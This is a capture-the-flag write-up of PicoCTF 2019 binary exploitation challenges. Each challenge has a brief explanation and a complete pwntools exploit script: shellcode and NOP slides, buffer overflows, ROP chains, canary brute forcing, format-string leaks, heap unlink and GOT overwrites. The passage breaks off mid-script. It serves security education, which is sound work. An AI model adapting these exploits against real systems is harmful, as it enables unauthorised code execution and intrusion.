PicoCTF 2019 Writeup: Binary Exploitation

Oct 12, 2019 00:00 · 5411 words · 26 minute read ctf cyber-security write-up picoctf pwn

handy-shellcode

Problem

This program executes any shellcode that you give it. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/handy-shellcode_4_037bd47611d842b565cfa1f378bfd8d9 on the shell server. Source.

Binary

Source

Solution

The solution is basically the same as the shellcode challenge from last year (click the link for my writeup on that).

Here’s the exploit script that I used:

from pwn import *
import sys

argv = sys.argv

DEBUG = True
BINARY = './vuln'

context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']

def attach_gdb():
  gdb.attach(sh)


if DEBUG:
  context.log_level = 'debug'

if len(argv) < 2:
  stdout = process.PTY
  stdin = process.PTY

  sh = process(BINARY, stdout=stdout, stdin=stdin)

  # if DEBUG:
  #   attach_gdb()

  REMOTE = False
else:
  s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
  sh = s.process('/problems/handy-shellcode_4_037bd47611d842b565cfa1f378bfd8d9/vuln')
  REMOTE = True

sh.sendlineafter(':\n', asm(shellcraft.i386.linux.sh()))
sh.sendlineafter('$ ', 'cat /problems/handy-shellcode_4_037bd47611d842b565cfa1f378bfd8d9/flag.txt')
sh.interactive()

flag: picoCTF{h4ndY_d4ndY_sh311c0d3_55c521fe}

practice-run-1

Problem

You’re going to need to know how to run programs if you’re going to get out of here. Navigate to /problems/practice-run-1_0_62b61488e896645ebff9b6c97d0e775e on the shell server and run this program to receive a flag.

Binary

Solution

$ ssh alanc@2019shell1.picoctf.com
alanc@pico-2019-shell1:~$ cd /problems/practice-run-1_0_62b61488e896645ebff9b6c97d0e775e
alanc@pico-2019-shell1:/problems/practice-run-1_0_62b61488e896645ebff9b6c97d0e775e$ ./run_this 
picoCTF{g3t_r3adY_2_r3v3r53}

flag: picoCTF{g3t_r3adY_2_r3v3r53}

OverFlow 0

Problem

This should be easy. Overflow the correct buffer in this program and get a flag. Its also found in /problems/overflow-0_1_54d12127b2833f7eab9758b43e88d3b7 on the shell server. Source.

Binary

Source

Solution

Same as buffer-overflow-0 from last year.

Exploit script:

from pwn import *
import sys

argv = sys.argv

DEBUG = True
BINARY = './vuln'

context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']

def attach_gdb():
  gdb.attach(sh)


if DEBUG:
  context.log_level = 'debug'

if len(argv) < 2:
  stdout = process.PTY
  stdin = process.PTY

  sh = process([BINARY,'a'*(128+4)+p32(0xdeadbeef)], stdout=stdout, stdin=stdin)

  # if DEBUG:
  #   attach_gdb()

  REMOTE = False
else:
  s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
  sh = s.process(['vuln','a'*(128+4)+p32(0xdeadbeef)], cwd='/problems/overflow-0_1_54d12127b2833f7eab9758b43e88d3b7')
  REMOTE = True


sh.interactive()

flag: picoCTF{3asY_P3a5yb197d4e2}

OverFlow 1

Problem

You beat the first overflow challenge. Now overflow the buffer and change the return address to the flag function in this program? You can find it in /problems/overflow-1_2_305519bf80dcdebd46c8950854760999 on the shell server. Source.

Binary

Source

Solution

Same as buffer-overflow-1 from last year.

One thing to clarify is how I found the offset of the return address. In the case, I found the offset to be 0x48+4 or 76. This is obtained by using a tool like radare2 and looking at the stack layout of the function:

$ r2 ./vuln
[0x080484d0]> aaaa
[0x080484d0]> afl~flag
0x080485e6    3 121          sym.flag
[0x080484d0]> pdf @ sym.vuln
/ (fcn) sym.vuln 63
|   sym.vuln ();
|           ; var char *s @ ebp-0x48
|           ; var int32_t var_4h @ ebp-0x4

As you can see, the buffer is located at ebp-0x48 and we know there are another 4 bytes for the saved ebp register. That’s how we can find the offset.

Another approach would be to use something like this and deduce the offset by looking at the segfault address.

Exploit script:

from pwn import *
import sys

argv = sys.argv

DEBUG = True
BINARY = './vuln'

context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']

def attach_gdb():
  gdb.attach(sh)


if DEBUG:
  context.log_level = 'debug'

if len(argv) < 2:
  stdout = process.PTY
  stdin = process.PTY

  sh = process(BINARY, stdout=stdout, stdin=stdin)

  # if DEBUG:
  #   attach_gdb()

  REMOTE = False
else:
  s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
  sh = s.process('vuln', cwd='/problems/overflow-1_2_305519bf80dcdebd46c8950854760999')
  REMOTE = True

win_addr = 0x080485e6

payload = 'a'*(0x48+4)+p32(win_addr)

sh.sendlineafter(': ', payload)

sh.interactive()

flag: picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5a32b9368}

NewOverFlow-1

Problem

You beat the first overflow challenge. Now overflow the buffer and change the return address to the flag function in this program? You can find it in /problems/overflow-1_2_305519bf80dcdebd46c8950854760999 on the shell server. Source.

Binary

Source

Solution

This is a simple buffer overflow challenge like OverFlow 1 (read this to see how I found the return address offset), but instead of 32 bit, it is now 64 bit.

There’s a slight problem with calling the win function directly because of buffering problems, so we need to call the main first before calling the win function. Our payload would look something like this:

  • offset
  • main_addr
  • win_addr

2019.10.13 Update

The problem with calling the win function directly is not because of buffering issues. Instead, it is triggered by a stack misalignment. When we send a payload without calling the main function:

  • offset
  • win_addr

We see in gdb (with gef) that it crashed on movaps:

...
   $rsp   : 0x00007ffda0c16528  →  0x0000000000000000
...
   0x7f32ef45065c <buffered_vfprintf+140> punpcklqdq xmm0, xmm0
   0x7f32ef450660 <buffered_vfprintf+144> mov    DWORD PTR [rsp+0xa4], eax
   0x7f32ef450667 <buffered_vfprintf+151> lea    rax, [rip+0x3890f2]        # 0x7f32ef7d9760 <_IO_helper_jumps>
 → 0x7f32ef45066e <buffered_vfprintf+158> movaps XMMWORD PTR [rsp+0x50], xmm0
   0x7f32ef450673 <buffered_vfprintf+163> mov    QWORD PTR [rsp+0x108], rax
   0x7f32ef45067b <buffered_vfprintf+171> call   0x7f32ef44d390 <_IO_vfprintf_internal>
   0x7f32ef450680 <buffered_vfprintf+176> mov    r12d, eax
   0x7f32ef450683 <buffered_vfprintf+179> mov    r13d, DWORD PTR [rip+0x39225e]        # 0x7f32ef7e28e8 <__libc_pthread_functions_init>
   0x7f32ef45068a <buffered_vfprintf+186> test   r13d, r13d

A quick google search shows that “When the source or destination operand is a memory operand, the operand must be aligned on a 16-byte boundary or a general-protection exception (#GP) is generated” which is what caused the segfault. In other words, the program crashed because rsp+0x50 which equals 0x7ffda0c16578 is not a multiple of 16. To fix this, we really just need to shift the stack by 8 bytes through calling any other function before the win function:

  • offset
  • any_function_addr
  • win_addr

For example, a payload of payload = 'a'*(0x40+8)+p64(0x00000000004005de)+p64(win_addr) also works where 0x00000000004005de is a simple ret gadget:

$ r2 ./vuln
[0x00400680]> pd 1 @ 0x00000000004005de
            0x004005de      c3             ret

Thanks unprovoked for bringing this to my attention.


Exploit script:

from pwn import *
import sys

argv = sys.argv

DEBUG = True
BINARY = './vuln'

context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']

def attach_gdb():
  gdb.attach(sh)


if DEBUG:
  context.log_level = 'debug'

if len(argv) < 2:
  stdout = process.PTY
  stdin = process.PTY

  sh = process(BINARY, stdout=stdout, stdin=stdin)

  if DEBUG:
    attach_gdb()

  REMOTE = False
else:
  s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
  sh = s.process('vuln', cwd='/problems/newoverflow-1_0_f9bdea7a6553786707a6d560decc5d50')
  REMOTE = True


win_addr = 0x00400767
main_addr = 0x004007e8
payload = 'a'*(0x40+8)+p64(main_addr)+p64(win_addr)

sh.sendlineafter(': ', payload)
sh.sendlineafter(': ', 'a')
sh.interactive()

flag: picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_1a8eb93a}

slippery-shellcode

Problem

This program is a little bit more tricky. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/slippery-shellcode_1_69e5bb04445e336005697361e4c2deb0 on the shell server. Source.

Binary

Source

Solution

This is similar to handy-shellcode but a random offset is added to the address that it is calling:

int offset = (rand() % 256) + 1;

((void (*)())(buf+offset))();

To bypass this, we can add a nop slide in front of our shellcode payload which is basically a ton of nop instructions. This allows the shellcode to execute as long as the calling address lands on one of the nop instructions.

Also, check out the gps challenge from last year which is about the same technique.

Exploit script:

from pwn import *
import sys

argv = sys.argv

DEBUG = True
BINARY = './vuln'

context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']

def attach_gdb():
  gdb.attach(sh)


if DEBUG:
  context.log_level = 'debug'

if len(argv) < 2:
  stdout = process.PTY
  stdin = process.PTY

  sh = process(BINARY, stdout=stdout, stdin=stdin)

  # if DEBUG:
  #   attach_gdb()

  REMOTE = False
else:
  s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
  sh = s.process('/problems/slippery-shellcode_1_69e5bb04445e336005697361e4c2deb0/vuln')
  REMOTE = True


sh.sendlineafter(':\n', '\x90'*256+asm(shellcraft.i386.linux.sh()))
sh.sendlineafter('$ ', 'cat /problems/slippery-shellcode_1_69e5bb04445e336005697361e4c2deb0/flag.txt')
sh.interactive()

flag: picoCTF{sl1pp3ry_sh311c0d3_0fb0e7da}

NewOverFlow-2

Problem

Okay now lets try mainpulating arguments. program. You can find it in /problems/newoverflow-2_2_1428488532921ee33e0ceb92267e30a7 on the shell server. Source.

Binary

Source

Solution

Think the challenge author forgot to remove the flag function which makes the challenge solvable with the same script as NewOverFlow-1

Exploit script:

from pwn import *
import sys

argv = sys.argv

DEBUG = True
BINARY = './vuln'

context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']

def attach_gdb():
  gdb.attach(sh)


if DEBUG:
  context.log_level = 'debug'

if len(argv) < 2:
  stdout = process.PTY
  stdin = process.PTY

  sh = process(BINARY, stdout=stdout, stdin=stdin)

  if DEBUG:
    attach_gdb()

  REMOTE = False
else:
  s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
  sh = s.process('vuln', cwd='/problems/newoverflow-2_2_1428488532921ee33e0ceb92267e30a7')
  REMOTE = True

# $ r2 ./vuln
# [0x00400680]> aaaa
# [0x00400680]> afl~flag
# 0x0040084d    3 101          sym.flag
# [0x00400680]> afl~main
# 0x004008ce    1 105          main

win_addr = 0x0040084d
main_addr = 0x004008ce
payload = 'a'*(0x40+8)+p64(main_addr)+p64(win_addr)

sh.sendlineafter('?\n', payload)
sh.sendlineafter('?\n', 'a')
sh.interactive()

flag: picoCTF{r0p_1t_d0nT_st0p_1t_64362a2b}

OverFlow 2

Problem

Now try overwriting arguments. Can you get the flag from this program? You can find it in /problems/overflow-2_6_97cea5256ff7afcd9c8ede43d264f46e on the shell server. Source.

Binary

Source

Solution

This challenge is about the 32bit x86 calling convention where we need to call the flag function with two parameters. I have already done a detailed writeup for last year’s buffer-overflow-2 challenge which is similar.

Exploit script:

from pwn import *
import sys

argv = sys.argv

DEBUG = True
BINARY = './vuln'

context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']

def attach_gdb():
  gdb.attach(sh)


if DEBUG:
  context.log_level = 'debug'

if len(argv) < 2:
  stdout = process.PTY
  stdin = process.PTY

  sh = process(BINARY, stdout=stdout, stdin=stdin)

  # if DEBUG:
  #   attach_gdb()

  REMOTE = False
else:
  s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
  sh = s.process('vuln', cwd='/problems/overflow-2_6_97cea5256ff7afcd9c8ede43d264f46e')
  REMOTE = True

# $  r2 ./vuln
# [0x080484d0]> aaaa
# [0x080484d0]> afl~flag
# 0x080485e6    8 144          sym.flag
# [0x080484d0]> pdf @ sym.vuln
# / (fcn) sym.vuln 63
# |   sym.vuln ();
# |           ; var char *s @ ebp-0xb8
# |           ; var int32_t var_4h @ ebp-0x4

win_addr = 0x080485e6

payload = 'a'*(0xb8+4)+p32(win_addr)+'a'*4+p32(0xDEADBEEF)+p32(0xC0DED00D)

sh.sendlineafter(': ', payload)

sh.interactive()

flag: picoCTF{arg5_and_r3turn55897b905}

CanaRy

Problem

This time we added a canary to detect buffer overflows. Can you still find a way to retrieve the flag from this program located in /problems/canary_4_221260def5087dde9326fb0649b434a7. Source.

Binary

Source

Solution

Same as buffer-overflow-3 from last year. The key point is that we can guess the constant canary one byte at a time and we can also bypass PIE by bruting forcing plus a partial overwrite.

Exploit script:

from pwn import *
import sys

argv = sys.argv

DEBUG = True
BINARY = './vuln'

context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']

def attach_gdb():
  gdb.attach(sh)


if DEBUG:
  context.log_level = 'debug'

s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")

def start():
  global sh
  if len(argv) < 2:
    stdout = process.PTY
    stdin = process.PTY

    sh = process(BINARY, stdout=stdout, stdin=stdin)

    # if DEBUG:
    #   attach_gdb()

    REMOTE = False
  else:
    
    sh = s.process('vuln', cwd='/problems/canary_4_221260def5087dde9326fb0649b434a7')
    REMOTE = True

# key = ''
# for i in range(4):
#   for c in range(256):
#     start()
#     c = chr(c)
#     sh.sendlineafter('> ', str(33+i))
#     sh.sendlineafter('> ', 'a'*32+key+c)
#     data = sh.recvall()
#     if 'Stack Smashing Detected' not in data:
#       key += c
#       print enhex(key)
#       break
#   else:
#     print 'error'
#     exit()

key = unhex('4c6a6748')

while True:
  start()
  

  sh.sendlineafter('> ', str(32+4+12+6))
  sh.sendlineafter('> ', 'a'*32+key+'a'*(4+12)+'\xed\x07')
  # sh.interactive()
  data = sh.recvall(timeout=0.5)
  if 'pico' in data:
    print data
    exit()

flag: picoCTF{cAnAr135_mU5t_b3_r4nd0m!_bf34cd22}

leap-frog

Problem

Can you jump your way to win in the following program and get the flag? You can find the program in /problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c on the shell server? Source.

Binary

Source

Solution

This is a classic ROP challenge. But instead of going through all the hoops as intended, we can set all win* variables to 1 by calling gets with a payload that looks like this:

  • padding
  • gets_plt <- first function to call
  • flag_addr <- second function to call
  • win_addr <- the buffer parameter being passed to gets

Exploit script:

from pwn import *
import sys
import subprocess

argv = sys.argv

DEBUG = True
BINARY = './rop'

context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']

def attach_gdb():
  gdb.attach(sh)


if DEBUG:
  context.log_level = 'error'


def start():
  global sh
  if len(argv) < 2:
    stdout = process.PTY
    stdin = process.PTY

    sh = process(BINARY, stdout=stdout, stdin=stdin)

    if DEBUG:
      attach_gdb()

    REMOTE = False
  else:
    s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
    sh = s.process('rop', cwd='/problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c')
    REMOTE = True

main_addr = 0x80487c9
gets_plt = 0x08048430
win1_addr = 0x0804A03D
display_flag_addr = 0x080486b3

start()
payload = 'a'*28
payload += p32(gets_plt)
payload += p32(display_flag_addr)
payload += p32(win1_addr)
# payload += p32(0x38c0)[:-2]
sh.sendlineafter('> ', payload)
sh.sendline('\x01'*3)
sh.interactive()

flag: picoCTF{h0p_r0p_t0p_y0uR_w4y_t0_v1ct0rY_f60266f9}

messy-malloc

Problem

Can you take advantage of misused malloc calls to leak the secret through this service and get the flag? Connect with nc 2019shell1.picoctf.com 12286. Source.

Binary

Source

Solution

Because the program uses malloc instead of calloc, we can allocate a heap chunk for the username that has the same size as a user struct, and then we can free the chunk and allocate the same chunk now as a user struct. Because the data we previously entered is still there, we can set the access_code and get the flag.

Exploit script:

from pwn import *
import sys

# picoCTF{g0ttA_cl3aR_y0uR_m4110c3d_m3m0rY_8aa9bc45}
argv = sys.argv

DEBUG = True
BINARY = './auth'

context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']

def attach_gdb():
  gdb.attach(sh)


if DEBUG:
  context.log_level = 'debug'

if len(argv) < 2:
  stdout = process.PTY
  stdin = process.PTY

  sh = process(BINARY, stdout=stdout, stdin=stdin)

  if DEBUG:
    attach_gdb()

  REMOTE = False
else:
  sh = remote('2019shell1.picoctf.com', 12286)
  REMOTE = True

code = ''
code += unhex('4343415f544f4f52')[::-1]
code += unhex('45444f435f535345')[::-1]
print code

sh.sendlineafter('> ', 'login')
sh.sendlineafter('username\n', '32')


payload = ''
payload += p64(0x0000000000602000) # username ptr
payload += code
payload += p64(0xdeadbeefdeadbeef) # files ptr

sh.sendlineafter('username\n', payload)
sh.sendlineafter('> ', 'logout')


sh.sendlineafter('> ', 'login')
sh.sendlineafter('username\n', '16')
sh.sendlineafter('username\n', 'bbb')

sh.sendlineafter('> ', 'print-flag')

sh.interactive()

flag: picoCTF{g0ttA_cl3aR_y0uR_m4110c3d_m3m0rY_8aa9bc45}

stringzz

Problem

Use a format string to pwn this program and get a flag. Its also found in /problems/stringzz_2_a90e0d8339487632cecbad2e459c71c4 on the shell server. Source.

Binary

Source

Solution

As suggested by the description, this is a format string attack challenge where we are able to control the format string being passed to printf:

void printMessage3(char *in)
{
  puts("will be printed:\n");
  printf(in);
}

Another important information is that although the flag is loaded onto the heap, there’s still a pointer to it located on the stack:

char * buf = malloc(sizeof(char)*FLAG_BUFFER);
FILE *f = fopen("flag.txt","r");
fgets(buf,FLAG_BUFFER,f);

So if we do %XX$s with the correct offset, we can print out the flag.

Exploit script:

from pwn import *
import sys

argv = sys.argv

DEBUG = True
BINARY = './vuln'

context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']

def attach_gdb():
  gdb.attach(sh)


if DEBUG:
  context.log_level = 'debug'

s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")

def start():
  global sh
  if len(argv) < 2:
    stdout = process.PTY
    stdin = process.PTY

    sh = process(BINARY, stdout=stdout, stdin=stdin)

    # if DEBUG:
    #   attach_gdb()

    REMOTE = False
  else:
    sh = s.process('vuln', cwd='/problems/stringzz_2_a90e0d8339487632cecbad2e459c71c4')
    REMOTE = True

# for i in range(200):
#   start()
#   try:
#     sh.sendlineafter(':\n', '%{}$s'.format(i))
#     data = sh.recvall()
#     if 'pico' in data:
#       print data
#       exit()
#   except:
#     print 'pass'
start()

payload = '%37$s'
sh.sendlineafter(':\n', payload)
sh.interactive()

flag: picoCTF{str1nG_CH3353_166b95b4}

GoT

Problem

You can only change one address, here is the problem: program. It is also found in /problems/got_1_6a9949d39d119bd2973bdc661d78f71d on the shell server. Source.

Binary

Source

Solution

This is a simple GOT overwrite challenge. It is the same as got-shell? from last year.

Exploit script:

from pwn import *
import sys

argv = sys.argv

DEBUG = True
BINARY = './vuln'

context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']


def attach_gdb():
  gdb.attach(sh)


if DEBUG:
  context.log_level = 'debug'


if len(argv) < 2:
  stdout = process.PTY
  stdin = process.PTY

  sh = process(BINARY, stdout=stdout, stdin=stdin)

  if DEBUG:
    attach_gdb()

  REMOTE = False
else:
  s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
  sh = s.process('vuln', cwd='/problems/got_1_6a9949d39d119bd2973bdc661d78f71d')
  REMOTE = True

# $ r2 ./vuln
# [0x080484b0]> aaaa
# [0x080484b0]> afl~win
# 0x080485c6    3 153          sym.win
# [0x080484b0]> afl~exit
# 0x08048460    1 6            sym.imp.exit
# [0x080484b0]> pdf @ sym.imp.exit
# / (fcn) sym.imp.exit 6
# \           0x08048460      ff251ca00408   jmp dword [reloc.exit]      ; 0x804a01c ; "f\x84\x04\bv\x84\x04\b\x86\x84\x04\b\x96\x84\x04\b"

exit_got = 0x804a01c
win_addr = 0x080485c6

sh.sendlineafter('address\n', str(exit_got))
sh.sendlineafter('value?\n', str(win_addr))

sh.interactive()

flag: picoCTF{A_s0ng_0f_1C3_and_f1r3_e122890e}

pointy

Problem

Exploit the function pointers in this program. It is also found in /problems/pointy_1_e2b49b679521bd6d957b864c91e7b39e on the shell server. Source.

Binary

Source

Solution

The bug in the program is that we can select professors as students and students as professors. By writing the lastScore of a professor and then treating it as a student, we can control the scoreProfessor field and retrieve the flag.

Exploit script:

from pwn import *
import sys

argv = sys.argv

DEBUG = True
BINARY = './vuln'

context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']

def attach_gdb():
  gdb.attach(sh)


if DEBUG:
  context.log_level = 'debug'

if len(argv) < 2:
  stdout = process.PTY
  stdin = process.PTY

  sh = process(BINARY, stdout=stdout, stdin=stdin)

  if DEBUG:
    attach_gdb()

  REMOTE = False
else:
  s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
  sh = s.process('vuln', cwd='/problems/pointy_1_e2b49b679521bd6d957b864c91e7b39e')
  REMOTE = True

win_addr = 0x08048696

payload = ''

send = lambda x: sh.sendlineafter('\n', x)

send('a')
send('b')
send('a')
send('b')
send(str(win_addr))

sh.sendlineafter(' student\n', 'c')
send('d')
send('b')
send('d')
send(str(0))

sh.interactive()  

flag: picoCTF{g1v1ng_d1R3Ct10n5_16d57b6c}

seed-sPRiNG

Problem

The most revolutionary game is finally available: seed sPRiNG is open right now! seed_spring. Connect to it with nc 2019shell1.picoctf.com 4160.

Binary

Solution

By reversing the program, we can see that our objective is to correctly guess 30 random numbers in a row:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+0h] [ebp-18h]
  int v5; // [esp+4h] [ebp-14h]
  unsigned int seed; // [esp+8h] [ebp-10h]
  int i; // [esp+Ch] [ebp-Ch]
  int *v8; // [esp+10h] [ebp-8h]

  v8 = &argc;
  puts((const char *)&unk_A40);
  puts((const char *)&unk_A40);
  puts("                                                                             ");
  puts("                          #                mmmmm  mmmmm    \"    mm   m   mmm ");
  puts("  mmm    mmm    mmm    mmm#          mmm   #   \"# #   \"# mmm    #\"m  # m\"   \"");
  puts(" #   \"  #\"  #  #\"  #  #\" \"#         #   \"  #mmm#\" #mmmm\"   #    # #m # #   mm");
  puts("  \"\"\"m  #\"\"\"\"  #\"\"\"\"  #   #          \"\"\"m  #      #   \"m   #    #  # # #    #");
  puts(" \"mmm\"  \"#mm\"  \"#mm\"  \"#m##         \"mmm\"  #      #    \" mm#mm  #   ##  \"mmm\"");
  puts("                                                                             ");
  puts((const char *)&unk_A40);
  puts((const char *)&unk_A40);
  puts("Welcome! The game is easy: you jump on a sPRiNG.");
  puts("How high will you fly?");
  puts((const char *)&unk_A40);
  fflush(stdout);
  seed = time(0);
  srand(seed);
  for ( i = 1; i <= 30; ++i )
  {
    printf("LEVEL (%d/30)\n", i);
    puts((const char *)&unk_A40);
    LOBYTE(v5) = rand() & 0xF;
    v5 = (unsigned __int8)v5;
    printf("Guess the height: ");
    fflush(stdout);
    __isoc99_scanf("%d", &v4);
    fflush(stdin);
    if ( v5 != v4 )
    {
      puts("WRONG! Sorry, better luck next time!");
      fflush(stdout);
      exit(-1);
    }
  }
  puts("Congratulation! You've won! Here is your flag:\n");
  get_flag();
  fflush(stdout);
  return 0;
}

We can accomplish this if we are able to determine the exact value time(0) returns which is the seed. This can be done in python as described here.

Exploit script:

from pwn import *
import sys
import ctypes

LIBC = ctypes.cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

argv = sys.argv

DEBUG = True
BINARY = './seed_spring'

context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']

def attach_gdb():
  gdb.attach(sh)


if DEBUG:
  context.log_level = 'debug'


def start():
  global sh
  if len(argv) < 2:
    stdout = process.PTY
    stdin = process.PTY

    sh = process(BINARY, stdout=stdout, stdin=stdin)

    # if DEBUG:
    #   attach_gdb()

    REMOTE = False
  else:
    sh = remote('2019shell1.picoctf.com', 4160)
    REMOTE = True

for i in range(100):

  start()
  try:
    LIBC.srand(LIBC.time(0)-i)

    for i in range(30):
      sh.sendlineafter(': ', str(LIBC.rand() & 0xf))
      

    sh.interactive()
  except:
    print 'pass'

flag: picoCTF{pseudo_random_number_generator_not_so_random_24ce919be49576c7df453a4a3e6fbd40}

AfterLife

Problem

Just pwn this program and get a flag. It’s also found in /problems/afterlife_6_1c6bc56bd64007e5162e284db4d03df5 on the shell server. Source.

Binary

Source

Solution

This is a heap overflow attack where we have a leaked heap address. A quick check with radare2 reveals that it is not using the standard malloc in libc:

[0x08048850]> afl~malloc
0x08049d81   16 481          sym.malloc_consolidate
0x0804ab72    7 105          sym.malloc_usable_size
0x0804937b   64 1908         sym.malloc
0x0804ad80    3 176          sym.malloc_stats
0x0804ab38    1 58           sym.malloc_trim
0x08048b7f    4 226          sym.malloc_init_state
0x0804a7ca    1 37           sym.independent_comalloc

The first attack that came to mind is the unlink attack. We can overwrite the fd_ptr and bk_ptr pointers of a freed chunk, so when the chunk is then malloced, fd_ptr+12 = bk_ptr and bk_ptr+8 = fd_ptr. We can utilize this to overwrite the GOT table and get code execution with something like this:

  • exit_got-12 <– fd_ptr
  • leak+8 <– bk_ptr / location of our shellcode.

After unlink, exit_got-12+12 will equal leak+8 the location where we placed our shellcode.

One thing to keep in mind is that 4 bytes of our shellcode would also get corrupted by the unlink, so we need to have a relative jump at the start of our shellcode:

payload += asm('''
  jmp sc
  {}
sc:
  nop
  '''.format('nop\n'*100)+shellcraft.i386.linux.sh())

Exploit script:

from pwn import *
import sys

argv = sys.argv

DEBUG = True
BINARY = './vuln'

context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']

def attach_gdb():
  gdb.attach(sh)


if DEBUG:
  context.log_level = 'debug'

if len(argv) < 2:
  stdout = process.PTY
  stdin = process.PTY

  sh = process([BINARY, 'AAAAAAAABBBBBBBB'], stdout=stdout, stdin=stdin)

  if DEBUG:
    attach_gdb()

  REMOTE = False
else:
  s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
  sh = s.process(['vuln', 'AAAAAAAABBBBBBBB'], cwd='/problems/afterlife_6_1c6bc56bd64007e5162e284db4d03df5')
  REMOTE = True

leak = int(sh.recvuntil('you').split('\n')[-2])

print hex(leak)

exit_got = 0x804d02c

payload = p32(exit_got-12) 
payload += p32(leak+8)
payload += asm('''
  jmp sc
  {}
sc:
  nop
  '''.format('nop\n'*100)+shellcraft.i386.linux.sh())
print enhex(payload)

assert len(payload) <= 256

payload = payload.ljust(256)

sh.sendlineafter('...\n', payload)

sh.interactive()

flag: picoCTF{what5_Aft3r_d2d97c7b}

L1im1tL355

Problem

Just pwn this program and get a flag. Its also found in /problems/l1im1tl355_1_688adedb3c25bf76cbb2c2a0fe7e9ac3 on the shell server. Source.

Binary

Source

Solution

Because there’s no bound check in c arrays, we can enter negative numbers for the index. This allows us to overwrite the return address of the replaceIntegerInArrayAtIndex function since the stack looks something like this:

  • lower stack address
  • replaceIntegerInArrayAtIndex: stack data
  • replaceIntegerInArrayAtIndex: saved ebp
  • replaceIntegerInArrayAtIndex: return address (-5)
  • main: other stack data
  • main: array (+0)
  • higher stack address

Exploit script:

from pwn import *
import sys

argv = sys.argv

DEBUG = True
BINARY = './vuln'

context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']

def attach_gdb():
  gdb.attach(sh)


if DEBUG:
  context.log_level = 'debug'


if len(argv) < 2:
  stdout = process.PTY
  stdin = process.PTY

  sh = process(BINARY, stdout=stdout, stdin=stdin)

  if DEBUG:
    attach_gdb()

  REMOTE = False
else:
  s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
  sh = s.process('vuln', cwd='/problems/l1im1tl355_1_688adedb3c25bf76cbb2c2a0fe7e9ac3')
  REMOTE = True

win_addr = 0x080485c6

sh.sendlineafter('array\n', str(win_addr))
sh.sendlineafter('value\n', str(-5))

sh.interactive()

flag: picoCTF{str1nG_CH3353_59c3cf5a}

SecondLife

Problem

Just pwn this program using a double free and get a flag. It’s also found in /problems/secondlife_2_ecf87473c7934afc6ea15edd2ee954ca on the shell server. Source.

Binary

Source

Solution

This is a double-free heap exploit challenge. The unlink solution that I wrote for AfterLife works for this challenge as well, so I just copied the same script over with minor changes.

Exploit script:

from pwn import *
import sys

argv = sys.argv

DEBUG = True
BINARY = './vuln'

context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']

def attach_gdb():
  gdb.attach(sh)


if DEBUG:
  context.log_level = 'debug'

if len(argv) < 2:
  stdout = process.PTY
  stdin = process.PTY

  sh = process(BINARY, stdout=stdout, stdin=stdin)

  if DEBUG:
    attach_gdb()

  REMOTE = False
else:
  s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
  sh = s.process('vuln', cwd='/problems/secondlife_2_ecf87473c7934afc6ea15edd2ee954ca')
  REMOTE = True

print sh.recvline()
leak = int(sh.recvline())

print hex(leak)

sh.sendline('abcde')

exit_got = 0x0804d02c

payload = p32(exit_got-12) 
payload += p32(leak+8)
payload += asm('''
  jmp sc
  {}
sc:
  nop
  '''.format('nop\n'*100)+shellcraft.i386.linux.sh())
print enhex(payload)

assert len(payload) <= 256

payload = payload.ljust(256)

sh.sendlineafter('...\n', payload)

sh.interactive()

flag: picoCTF{HeapHeapFlag_d11a9aaf}

rop32

Problem

Can you exploit the following program to get a flag? You can find the program in /problems/rop32_3_f3a10b5fa410146f5328fb7b3e63e7c0 on the shell server. Source.

Binary

Source

Solution

Based on the challenge name and the fact that the binary is statically compiled, we can tell that this is a pure ROP challenge where we need to get code execution:

$ r2 ./vuln
[0x08048730]> i~static
static   true

The hard way to approach this type of problems is to do it manually, but I prefer to do it with an automated tool which is the easy way out:

$ ROPgadget --binary ./vuln --rop --badbytes "0a"

Running the command above produces an exploit payload that you can just copy and paste into your script.

Exploit script:

from pwn import *
import sys
import subprocess
import r2pipe

argv = sys.argv

DEBUG = True
BINARY = './vuln'

context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']

def attach_gdb():
  gdb.attach(sh)

if DEBUG:
  context.log_level = 'debug'

if len(argv) < 2:
  stdout = process.PTY
  stdin = process.PTY

  sh = process(BINARY, stdout=stdout, stdin=stdin)

  if DEBUG:
    attach_gdb()

  REMOTE = False
else:
